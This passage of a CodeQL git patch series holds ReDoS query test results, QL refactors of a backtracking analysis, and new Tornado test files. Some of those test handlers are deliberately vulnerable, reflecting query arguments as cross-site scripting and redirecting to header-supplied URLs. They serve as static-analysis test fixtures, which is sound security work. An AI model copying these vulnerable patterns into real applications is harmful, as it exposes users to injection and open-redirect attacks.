a+a+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:102:2:102:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:102:20:102:21 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:103:2:103:23 | tainted ... \\wa+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:103:2:103:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:103:19:103:20 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:104:2:104:24 | tainted ... +b+c+/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:104:2:104:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:104:17:104:18 | a+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:107:2:107:40 | tainted ... \|B)+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:107:2:107:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:107:28:107:37 | ([2-5]\|B)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:108:2:108:33 | tainted ... \|B)+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:108:2:108:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:108:21:108:30 | ([2-5]\|B)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:109:2:109:33 | tainted ... +\\d+X/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:109:2:109:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:109:28:109:30 | \\d+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:111:2:111:22 | tainted ... /\\s*$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:111:2:111:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:111:17:111:19 | \\s* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:112:2:112:22 | tainted ... /\\s+$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:112:2:112:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:112:17:112:19 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:114:2:114:27 | tainted ... 5\\w*$/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:114:2:114:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:114:22:114:24 | \\w* | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:116:2:116:35 | tainted ... \\*\\//g) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:116:2:116:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:116:21:116:28 | [\\d\\D]*? | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:118:2:118:25 | tainted ... \\d+)+/) | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:118:2:118:8 | tainted | This expensive $@ use depends on $@. | polynomial-redos.js:118:17:118:23 | (#\\d+)+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | +| polynomial-redos.js:124:12:124:43 | result. ... /g, '') | polynomial-redos.js:5:16:5:32 | req.query.tainted | polynomial-redos.js:124:12:124:17 | result | This expensive $@ use depends on $@. | polynomial-redos.js:124:33:124:35 | \\s+ | regular expression | polynomial-redos.js:5:16:5:32 | req.query.tainted | a user-provided value | From f5eb131e2d272e0871fbe5108c850a6593a4aed3 Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Thu, 14 Jan 2021 12:42:43 +0100 Subject: [PATCH 0571/1241] C#: Address review comments --- csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll index 24166d298e3..6b243fb619d 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll @@ -19,7 +19,7 @@ module Ssa { } /** - * Holds if the this field or any of the fields part of the qualifier + * Holds if this field or any of the fields part of the qualifier * are volatile. */ predicate isVolatile() { this.(Field).isVolatile() } @@ -605,7 +605,7 @@ module Ssa { /** * Holds if the `i`th node of basic block `bb` is a reference to `v`, - * either a read (when `k` is `Read()`) or an SSA definition (when `k` + * either a read (when `k` is `SsaRead()`) or an SSA definition (when `k` * is `SsaDef()`). */ private predicate ssaRef(BasicBlock bb, int i, SourceVariable v, SsaRefKind k) { From 03d8aeb7b6afd366c4cf00e8b8ac9a1130e17e06 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 14 Jan 2021 13:35:32 +0100 Subject: [PATCH 0572/1241] refactor `PolynomialBackTrackingTerm`, to allow getting the pump string and the prefix-message --- .../performance/SuperlinearBackTracking.qll | 44 ++++++++++++++----- 1 file changed, 34 insertions(+), 10 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll index 94ad095030b..2908960ca5d 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll @@ -347,15 +347,11 @@ predicate isPumpable(State pivot, State succ, string pump) { /** * Holds if repetitions of `pump` at `t` will cause polynomial backtracking. */ -predicate polynimalReDoS(RegExpTerm t, string msg) { - exists(string pump, State s, string prefixMsg | +predicate polynimalReDoS(RegExpTerm t, string pump, string prefixMsg, RegExpTerm prev) { + exists(State s, State pivot | hasReDoSResult(t, pump, s, prefixMsg) and - exists(State pivot | - isPumpable(pivot, s, _) and - msg = - "Strings " + prefixMsg + "with many repetitions of '" + pump + - "' can start matching anywhere after the start of the preceeding " + pivot.getRepr() - ) + isPumpable(pivot, s, _) and + prev = pivot.getRepr() ) } @@ -388,17 +384,30 @@ private predicate matchesEpsilon(RegExpTerm t) { forex(RegExpTerm child | child = t.(RegExpSequence).getAChild() | matchesEpsilon(child)) } +/** + * Gets a message for why `term` can cause polynomial backtracking. + */ +string getReasonString(RegExpTerm term, string pump, string prefixMsg, RegExpTerm prev) { + polynimalReDoS(term, pump, prefixMsg, prev) and + result = + "Strings " + prefixMsg + "with many repetitions of '" + pump + + "' can start matching anywhere after the start of the preceeding " + prev +} + /** * A term that may cause a regular expression engine to perform a * polynomial number of match attempts, relative to the input length. */ class PolynomialBackTrackingTerm extends InfiniteRepetitionQuantifier { string reason; + string pump; + string prefixMsg; + RegExpTerm prev; PolynomialBackTrackingTerm() { - polynimalReDoS(this, _) and + reason = getReasonString(this, pump, prefixMsg, prev) and // there might be many reasons for this term to have polynomial backtracking - we pick an arbitary one. - reason = min(string msg | polynimalReDoS(this, msg)) + reason = min(string msg | msg = getReasonString(this, _, _, _)) } /** @@ -410,6 +419,21 @@ class PolynomialBackTrackingTerm extends InfiniteRepetitionQuantifier { ) } + /** + * Gets the string that should be repeated to cause this regular expression to perform polynomially. + */ + string getPumpString() { result = pump } + + /** + * Gets a message for which prefix a matching string must start with for this term to cause polynomial backtracking. + */ + string getPrefixMessage() { result = prefixMsg } + + /** + * Gets a predecessor to `this`, which also loops on the pump string, and thereby causes polynomial backtracking. + */ + RegExpTerm getPreviousLoop() { result = prev } + /** * Gets the reason for the number of match attempts. */ From 7db55906b9b5608286a8cc83e847ec90cecbf9f3 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Wed, 16 Dec 2020 09:52:40 +0100 Subject: [PATCH 0573/1241] Python: Copy old tornado tests --- .../frameworks/tornado/old_tests.py | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) create mode 100644 python/ql/test/experimental/library-tests/frameworks/tornado/old_tests.py diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/old_tests.py b/python/ql/test/experimental/library-tests/frameworks/tornado/old_tests.py new file mode 100644 index 00000000000..aee0e676bd6 --- /dev/null +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/old_tests.py @@ -0,0 +1,25 @@ +import tornado.web + +class Handler1(tornado.web.RequestHandler): + def get(self): + self.write(self.get_argument("xss")) + +class Handler2(tornado.web.RequestHandler): + def get(self): + args = self.get_body_arguments() + name = args[0] + self.write(name) + +class Handler3(tornado.web.RequestHandler): + + def get(self): + req = self.request + h = req.headers + url = h["url"] + self.redirect(url) + + +class DeepInheritance(Handler3): + + def get(self): + self.write(self.get_argument("also_xss")) From 57d08a85235129f0d999a61acec60b032d77ab0c Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Wed, 16 Dec 2020 10:37:18 +0100 Subject: [PATCH 0574/1241] Python: Rewrite old Tornado tests Now you can run them, and the examples have been adjusted so they actually work! --- .../library-tests/frameworks/tornado/basic.py | 54 +++++++++++++++++++ .../frameworks/tornado/old_tests.py | 25 --------- 2 files changed, 54 insertions(+), 25 deletions(-) create mode 100644 python/ql/test/experimental/library-tests/frameworks/tornado/basic.py delete mode 100644 python/ql/test/experimental/library-tests/frameworks/tornado/old_tests.py diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py b/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py new file mode 100644 index 00000000000..7ceb54f07f7 --- /dev/null +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py @@ -0,0 +1,54 @@ +import tornado.web + + +class BasicHandler(tornado.web.RequestHandler): + def get(self): + self.write("BasicHandler " + self.get_argument("xss")) + + def post(self): + self.write("BasicHandler (POST)") + + +class DeepInheritance(BasicHandler): + def get(self): + self.write("DeepInheritance" + self.get_argument("also_xss")) + + +class FormHandler(tornado.web.RequestHandler): + def post(self): + name = self.get_body_argument("name") + self.write(name) + + +class RedirectHandler(tornado.web.RequestHandler): + def get(self): + req = self.request + h = req.headers + url = h["url"] + self.redirect(url) + + +def make_app(): + return tornado.web.Application([ + (r"/basic", BasicHandler), + (r"/deep", DeepInheritance), + (r"/form", FormHandler), + (r"/redirect", RedirectHandler), + ]) + + +if __name__ == "__main__": + import tornado.ioloop + + app = make_app() + app.listen(8888) + tornado.ioloop.IOLoop.current().start() + + # http://localhost:8888/basic?xss=foo + # http://localhost:8888/deep?also_xss=foo + + # curl -X POST http://localhost:8888/basic + # curl -X POST http://localhost:8888/deep + + # curl -X POST -F "name=foo" http://localhost:8888/form + # curl -v -H 'url: http://example.com' http://localhost:8888/redirect diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/old_tests.py b/python/ql/test/experimental/library-tests/frameworks/tornado/old_tests.py deleted file mode 100644 index aee0e676bd6..00000000000 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/old_tests.py +++ /dev/null @@ -1,25 +0,0 @@ -import tornado.web - -class Handler1(tornado.web.RequestHandler): - def get(self): - self.write(self.get_argument("xss")) - -class Handler2(tornado.web.RequestHandler): - def get(self): - args = self.get_body_arguments() - name = args[0] - self.write(name) - -class Handler3(tornado.web.RequestHandler): - - def get(self): - req = self.request - h = req.headers - url = h["url"] - self.redirect(url) - - -class DeepInheritance(Handler3): - - def get(self): - self.write(self.get_argument("also_xss")) From b4f3399534931aa557c8fc89e9bd4b3a77386489 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Thu, 17 Dec 2020 17:34:45 +0100 Subject: [PATCH 0575/1241] Python: Add reverse inheritance test for Tornado --- .../library-tests/frameworks/tornado/basic.py | 12 ++++++++++++ 1 file changed, 12 insertions(+) diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py b/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py index 7ceb54f07f7..a586175cab9 100644 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py @@ -28,12 +28,22 @@ class RedirectHandler(tornado.web.RequestHandler): self.redirect(url) +class BaseReverseInheritance(tornado.web.RequestHandler): + def get(self): + self.write("hello from BaseReverseInheritance") + + +class ReverseInheritance(BaseReverseInheritance): + pass + + def make_app(): return tornado.web.Application([ (r"/basic", BasicHandler), (r"/deep", DeepInheritance), (r"/form", FormHandler), (r"/redirect", RedirectHandler), + (r"/reverse-inheritance", ReverseInheritance), ]) @@ -52,3 +62,5 @@ if __name__ == "__main__": # curl -X POST -F "name=foo" http://localhost:8888/form # curl -v -H 'url: http://example.com' http://localhost:8888/redirect + + # http://localhost:8888/reverse-inheritance From 9cd8a862a09d5f1ca1b1ba2183ded5995be764d9 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Mon, 21 Dec 2020 15:29:01 +0100 Subject: [PATCH 0576/1241] Python: Expand Tornado tests and add annotations I should probably have split this up into 2 commits, so sorry that didn't happen :| --- .../frameworks/tornado/ConceptsTest.expected | 0 .../frameworks/tornado/ConceptsTest.ql | 12 ++ .../frameworks/tornado/README.md | 3 + .../frameworks/tornado/TestTaint.expected | 41 +++++++ .../frameworks/tornado/TestTaint.ql | 6 + .../library-tests/frameworks/tornado/basic.py | 29 ++--- .../library-tests/frameworks/tornado/options | 1 + .../frameworks/tornado/responses.py | 35 ++++++ .../frameworks/tornado/routing_test.py | 110 ++++++++++++++++++ .../frameworks/tornado/taint_test.py | 90 ++++++++++++++ 10 files changed, 314 insertions(+), 13 deletions(-) create mode 100644 python/ql/test/experimental/library-tests/frameworks/tornado/ConceptsTest.expected create mode 100644 python/ql/test/experimental/library-tests/frameworks/tornado/ConceptsTest.ql create mode 100644 python/ql/test/experimental/library-tests/frameworks/tornado/README.md create mode 100644 python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.expected create mode 100644 python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.ql create mode 100644 python/ql/test/experimental/library-tests/frameworks/tornado/options create mode 100644 python/ql/test/experimental/library-tests/frameworks/tornado/responses.py create mode 100644 python/ql/test/experimental/library-tests/frameworks/tornado/routing_test.py create mode 100644 python/ql/test/experimental/library-tests/frameworks/tornado/taint_test.py diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/ConceptsTest.expected b/python/ql/test/experimental/library-tests/frameworks/tornado/ConceptsTest.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/ConceptsTest.ql b/python/ql/test/experimental/library-tests/frameworks/tornado/ConceptsTest.ql new file mode 100644 index 00000000000..a946c6befb9 --- /dev/null +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/ConceptsTest.ql @@ -0,0 +1,12 @@ +import python +import experimental.meta.ConceptsTest +// +// class DedicatedResponseTest extends HttpServerHttpResponseTest { +// DedicatedResponseTest() { file.getShortName() = "response_test.py" } +// } +// +// class OtherResponseTest extends HttpServerHttpResponseTest { +// OtherResponseTest() { not this instanceof DedicatedResponseTest } +// +// override string getARelevantTag() { result = "HttpResponse" } +// } diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/README.md b/python/ql/test/experimental/library-tests/frameworks/tornado/README.md new file mode 100644 index 00000000000..0604cf67cd0 --- /dev/null +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/README.md @@ -0,0 +1,3 @@ +From Tornado 6.0 Python 3.5+ is [required](https://www.tornadoweb.org/en/stable/index.html#installation) + +https://www.tornadoweb.org/en/stable/guide/structure.html#handling-request-input diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.expected b/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.expected new file mode 100644 index 00000000000..48b8dc0462f --- /dev/null +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.expected @@ -0,0 +1,41 @@ +| taint_test.py:6 | fail | get | name | +| taint_test.py:6 | fail | get | number | +| taint_test.py:7 | ok | get | foo | +| taint_test.py:11 | fail | get | self.get_argument(..) | +| taint_test.py:12 | fail | get | self.get_arguments(..) | +| taint_test.py:13 | fail | get | self.get_arguments(..)[0] | +| taint_test.py:15 | fail | get | self.get_body_argument(..) | +| taint_test.py:16 | fail | get | self.get_body_arguments(..) | +| taint_test.py:17 | fail | get | self.get_body_arguments(..)[0] | +| taint_test.py:19 | fail | get | self.get_query_argument(..) | +| taint_test.py:20 | fail | get | self.get_query_arguments(..) | +| taint_test.py:21 | fail | get | self.get_query_arguments(..)[0] | +| taint_test.py:23 | fail | get | self.path_args | +| taint_test.py:24 | fail | get | self.path_args[0] | +| taint_test.py:26 | fail | get | self.path_kwargs | +| taint_test.py:27 | fail | get | self.path_kwargs["name"] | +| taint_test.py:34 | fail | get | request | +| taint_test.py:36 | fail | get | request.uri | +| taint_test.py:37 | fail | get | request.path | +| taint_test.py:38 | fail | get | request.query | +| taint_test.py:39 | fail | get | request.full_url() | +| taint_test.py:41 | fail | get | request.remote_ip | +| taint_test.py:43 | fail | get | request.body | +| taint_test.py:45 | fail | get | request.arguments | +| taint_test.py:46 | fail | get | request.arguments["name"] | +| taint_test.py:47 | fail | get | request.arguments["name"][0] | +| taint_test.py:49 | fail | get | request.query_arguments | +| taint_test.py:50 | fail | get | request.query_arguments["name"] | +| taint_test.py:51 | fail | get | request.query_arguments["name"][0] | +| taint_test.py:53 | fail | get | request.body_arguments | +| taint_test.py:54 | fail | get | request.body_arguments["name"] | +| taint_test.py:55 | fail | get | request.body_arguments["name"][0] | +| taint_test.py:58 | fail | get | request.headers | +| taint_test.py:59 | fail | get | request.headers["header-name"] | +| taint_test.py:60 | fail | get | request.headers.get_list(..) | +| taint_test.py:61 | fail | get | request.headers.get_all() | +| taint_test.py:62 | fail | get | ListComp | +| taint_test.py:65 | fail | get | request.cookies | +| taint_test.py:66 | fail | get | request.cookies["cookie-name"] | +| taint_test.py:67 | fail | get | request.cookies["cookie-name"].key | +| taint_test.py:68 | fail | get | request.cookies["cookie-name"].value | diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.ql b/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.ql new file mode 100644 index 00000000000..08783404ddd --- /dev/null +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/TestTaint.ql @@ -0,0 +1,6 @@ +import experimental.dataflow.tainttracking.TestTaintLib +import semmle.python.dataflow.new.RemoteFlowSources + +class RemoteFlowTestTaintConfiguration extends TestTaintTrackingConfiguration { + override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource } +} diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py b/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py index a586175cab9..fb640d99292 100644 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py @@ -2,26 +2,26 @@ import tornado.web class BasicHandler(tornado.web.RequestHandler): - def get(self): + def get(self): # $ MISSING: requestHandler self.write("BasicHandler " + self.get_argument("xss")) - def post(self): + def post(self): # $ MISSING: requestHandler self.write("BasicHandler (POST)") class DeepInheritance(BasicHandler): - def get(self): + def get(self): # $ MISSING: requestHandler self.write("DeepInheritance" + self.get_argument("also_xss")) class FormHandler(tornado.web.RequestHandler): - def post(self): + def post(self): # $ MISSING: requestHandler name = self.get_body_argument("name") self.write(name) class RedirectHandler(tornado.web.RequestHandler): - def get(self): + def get(self): # $ MISSING: requestHandler req = self.request h = req.headers url = h["url"] @@ -29,7 +29,7 @@ class RedirectHandler(tornado.web.RequestHandler): class BaseReverseInheritance(tornado.web.RequestHandler): - def get(self): + def get(self): # $ MISSING: requestHandler self.write("hello from BaseReverseInheritance") @@ -38,13 +38,16 @@ class ReverseInheritance(BaseReverseInheritance): def make_app(): - return tornado.web.Application([ - (r"/basic", BasicHandler), - (r"/deep", DeepInheritance), - (r"/form", FormHandler), - (r"/redirect", RedirectHandler), - (r"/reverse-inheritance", ReverseInheritance), - ]) + return tornado.web.Application( + [ + (r"/basic", BasicHandler), # $ MISSING: routeSetup="/basic" + (r"/deep", DeepInheritance), # $ MISSING: routeSetup="/deep" + (r"/form", FormHandler), # $ MISSING: routeSetup="/form" + (r"/redirect", RedirectHandler), # $ MISSING: routeSetup="/redirect" + (r"/reverse-inheritance", ReverseInheritance), # $ MISSING: routeSetup="/reverse-inheritance" + ], + debug=True, + ) if __name__ == "__main__": diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/options b/python/ql/test/experimental/library-tests/frameworks/tornado/options new file mode 100644 index 00000000000..cfef58cf2b2 --- /dev/null +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/options @@ -0,0 +1 @@ +semmle-extractor-options: --max-import-depth=1 --lang=3 diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/responses.py b/python/ql/test/experimental/library-tests/frameworks/tornado/responses.py new file mode 100644 index 00000000000..b0f4eb52fa0 --- /dev/null +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/responses.py @@ -0,0 +1,35 @@ +import tornado.web + + +class ResponseWriting(tornado.web.RequestHandler): + def get(self, type_): # $ MISSING: requestHandler routedParameter=type_ + if type_ == "str": + self.write("foo") + elif type_ == "bytes": + self.write(b"foo") + elif type_ == "dict": + # Content-type will be set to `application/json` + self.write({"foo": 42}) + else: + raise Exception("Bad type {} {}".format(type_, type(type_))) + + +def make_app(): + return tornado.web.Application( + [ + (r"/ResponseWriting/(str|bytes|dict)", ResponseWriting), # $ MISSING: routeSetup="/ResponseWriting/(str|bytes|dict)" + ], + debug=True, + ) + + +if __name__ == "__main__": + import tornado.ioloop + + app = make_app() + app.listen(8888) + tornado.ioloop.IOLoop.current().start() + + # http://localhost:8888/ResponseWriting/str + # http://localhost:8888/ResponseWriting/bytes + # http://localhost:8888/ResponseWriting/dict diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/tornado/routing_test.py new file mode 100644 index 00000000000..86405ecd9b4 --- /dev/null +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/routing_test.py @@ -0,0 +1,110 @@ +import tornado.web +import tornado.routing + + +class FooHandler(tornado.web.RequestHandler): + def get(self, x, y=None, not_used=None): # $ MISSING: requestHandler routedParameter=x routedParameter=y + self.write("FooHandler {} {}".format(x, y)) + + +class BarHandler(tornado.web.RequestHandler): + def get(self, x, y=None, not_used=None): # $ MISSING: requestHandler routedParameter=x routedParameter=y + self.write("BarHandler {} {}".format(x, y)) + + +class BazHandler(tornado.web.RequestHandler): + def get(self, x, y=None, not_used=None): # $ MISSING: requestHandler routedParameter=x routedParameter=y + self.write("BazHandler {} {}".format(x, y)) + + +class KwArgs(tornado.web.RequestHandler): + def get(self, *, x, y=None, not_used=None): # $ MISSING: requestHandler routedParameter=x routedParameter=y + self.write("KwArgs {} {}".format(x, y)) + + +class OnlyLocalhost(tornado.web.RequestHandler): + def get(self): # $ MISSING: requestHandler + self.write("OnlyLocalhost") + + +class One(tornado.web.RequestHandler): + def get(self): # $ MISSING: requestHandler + self.write("One") + + +class Two(tornado.web.RequestHandler): + def get(self): # $ MISSING: requestHandler + self.write("Two") + + +class Three(tornado.web.RequestHandler): + def get(self): # $ MISSING: requestHandler + self.write("Three") + + +class AddedLater(tornado.web.RequestHandler): + def get(self, x, y=None, not_used=None): # $ MISSING: requestHandler routedParameter=x routedParameter=y + self.write("AddedLater {} {}".format(x, y)) + + +class PossiblyNotRouted(tornado.web.RequestHandler): + # Even if our analysis can't find a route-setup for this class, we should still + # consider it to be a handle incoming HTTP requests + + def get(self): # $ MISSING: requestHandler + self.write("NotRouted") + + +def make_app(): + # see https://www.tornadoweb.org/en/stable/routing.html for even more examples + app = tornado.web.Application( + [ + (r"/foo/([0-9]+)/([0-9]+)?", FooHandler), # $ MISSING: routeSetup="/foo/([0-9]+)/([0-9]+)?" + tornado.web.URLSpec(r"/bar/([0-9]+)/([0-9]+)?", BarHandler), # $ MISSING: routeSetup="/bar/([0-9]+)/([0-9]+)?" + # Very verbose way to write same as FooHandler + tornado.routing.Rule(tornado.routing.PathMatches(r"/baz/([0-9]+)/([0-9]+)?"), BazHandler), # $ MISSING: routeSetup="/baz/([0-9]+)/([0-9]+)?" + (r"/kw-args/(?P<x>[0-9]+)/(?P<y>[0-9]+)?", KwArgs), # $ MISSING: routeSetup="/kw-args/(?P<x>[0-9]+)/(?P<y>[0-9]+)?" + # You can do nesting + (r"/(one|two|three)", [ + (r"/one", One), # $ MISSING: routeSetup="/one" + (r"/two", Two), # $ MISSING: routeSetup="/two" + (r"/three", Three) # $ MISSING: routeSetup="/three" + ]), + # which is _one_ recommended way to ensure known host is used + (tornado.routing.HostMatches(r"(localhost|127\.0\.0\.1)"), [ + ("/only-localhost", OnlyLocalhost) # $ MISSING: routeSetup="/only-localhost" + ]), + + ], + debug=True, + ) + app.add_handlers(r".*", [(r"/added-later/([0-9]+)/([0-9]+)?", AddedLater)]) # $ MISSING: routeSetup="/added-later/([0-9]+)/([0-9]+)?" + return app + + +if __name__ == "__main__": + + import tornado.ioloop + app = make_app() + app.listen(8888) + tornado.ioloop.IOLoop.current().start() + + # http://localhost:8888/foo/42/ + # http://localhost:8888/foo/42/1337 + + # http://localhost:8888/bar/42/ + # http://localhost:8888/bar/42/1337 + + # http://localhost:8888/baz/42/ + # http://localhost:8888/baz/42/1337 + + # http://localhost:8888/kw-args/42/ + # http://localhost:8888/kw-args/42/1337 + + # http://localhost:8888/only-localhost + + # http://localhost:8888/one + # http://localhost:8888/two + # http://localhost:8888/three + + # http://localhost:8888/added-later diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/taint_test.py b/python/ql/test/experimental/library-tests/frameworks/tornado/taint_test.py new file mode 100644 index 00000000000..891547b3375 --- /dev/null +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/taint_test.py @@ -0,0 +1,90 @@ +import tornado.web + + +class TaintTest(tornado.web.RequestHandler): + def get(self, name = "World!", number="0", foo="foo"): # $ MISSING: requestHandler routedParameter=name routedParameter=number + ensure_tainted(name, number) + ensure_not_tainted(foo) + + ensure_tainted( + # see https://www.tornadoweb.org/en/stable/web.html#input + self.get_argument("name"), + self.get_arguments("name"), + self.get_arguments("name")[0], + + self.get_body_argument("name"), + self.get_body_arguments("name"), + self.get_body_arguments("name")[0], + + self.get_query_argument("name"), + self.get_query_arguments("name"), + self.get_query_arguments("name")[0], + + self.path_args, + self.path_args[0], + + self.path_kwargs, + self.path_kwargs["name"], + ) + + request = self.request + + ensure_tainted( + # see https://www.tornadoweb.org/en/stable/httputil.html#tornado.httputil.HTTPServerRequest + request, + + request.uri, + request.path, + request.query, + request.full_url(), + + request.remote_ip, + + request.body, + + request.arguments, + request.arguments["name"], + request.arguments["name"][0], + + request.query_arguments, + request.query_arguments["name"], + request.query_arguments["name"][0], + + request.body_arguments, + request.body_arguments["name"], + request.body_arguments["name"][0], + + # dict-like, see https://www.tornadoweb.org/en/stable/httputil.html#tornado.httputil.HTTPHeaders + request.headers, + request.headers["header-name"], + request.headers.get_list("header-name"), + request.headers.get_all(), + [(k, v) for (k, v) in request.headers.get_all()], + + # Dict[str, http.cookies.Morsel] + request.cookies, + request.cookies["cookie-name"], + request.cookies["cookie-name"].key, + request.cookies["cookie-name"].value, + ) + + +def make_app(): + return tornado.web.Application( + [ + (r"/test_taint/([^/]+)/([0-9]+)", TaintTest), # $ MISSING: routeSetup="/test_taint/([^/]+)/([0-9]+)" + ], + debug=True, + ) + + +if __name__ == "__main__": + import tornado.ioloop + + app = make_app() + app.listen(8888) + tornado.ioloop.IOLoop.current().start() + + # http://localhost:8888/ResponseWriting/str + # http://localhost:8888/ResponseWriting/bytes + # http://localhost:8888/ResponseWriting/dict From 4641150d45615770bea488a2d48cb2113d807739 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 22 Dec 2020 14:19:26 +0100 Subject: [PATCH 0577/1241] Python: Basic taint-modeling of tornado.web.RequestHandler classes --- python/ql/src/semmle/python/Frameworks.qll | 1 + .../src/semmle/python/frameworks/Tornado.qll | 227 ++++++++++++++++++ .../frameworks/tornado/TestTaint.expected | 28 +-- 3 files changed, 242 insertions(+), 14 deletions(-) create mode 100644 python/ql/src/semmle/python/frameworks/Tornado.qll diff --git a/python/ql/src/semmle/python/Frameworks.qll b/python/ql/src/semmle/python/Frameworks.qll index a758e114fd2..23ffb88641e 100644 --- a/python/ql/src/semmle/python/Frameworks.qll +++ b/python/ql/src/semmle/python/Frameworks.qll @@ -12,4 +12,5 @@ private import semmle.python.frameworks.MySQLdb private import semmle.python.frameworks.Psycopg2 private import semmle.python.frameworks.PyMySQL private import semmle.python.frameworks.Stdlib +private import semmle.python.frameworks.Tornado private import semmle.python.frameworks.Yaml diff --git a/python/ql/src/semmle/python/frameworks/Tornado.qll b/python/ql/src/semmle/python/frameworks/Tornado.qll new file mode 100644 index 00000000000..34e828b91b1 --- /dev/null +++ b/python/ql/src/semmle/python/frameworks/Tornado.qll @@ -0,0 +1,227 @@ +/** + * Provides classes modeling security-relevant aspects of the `tornado` PyPI package. + * See https://www.tornadoweb.org/en/stable/. + */ + +private import python +private import semmle.python.dataflow.new.DataFlow +private import 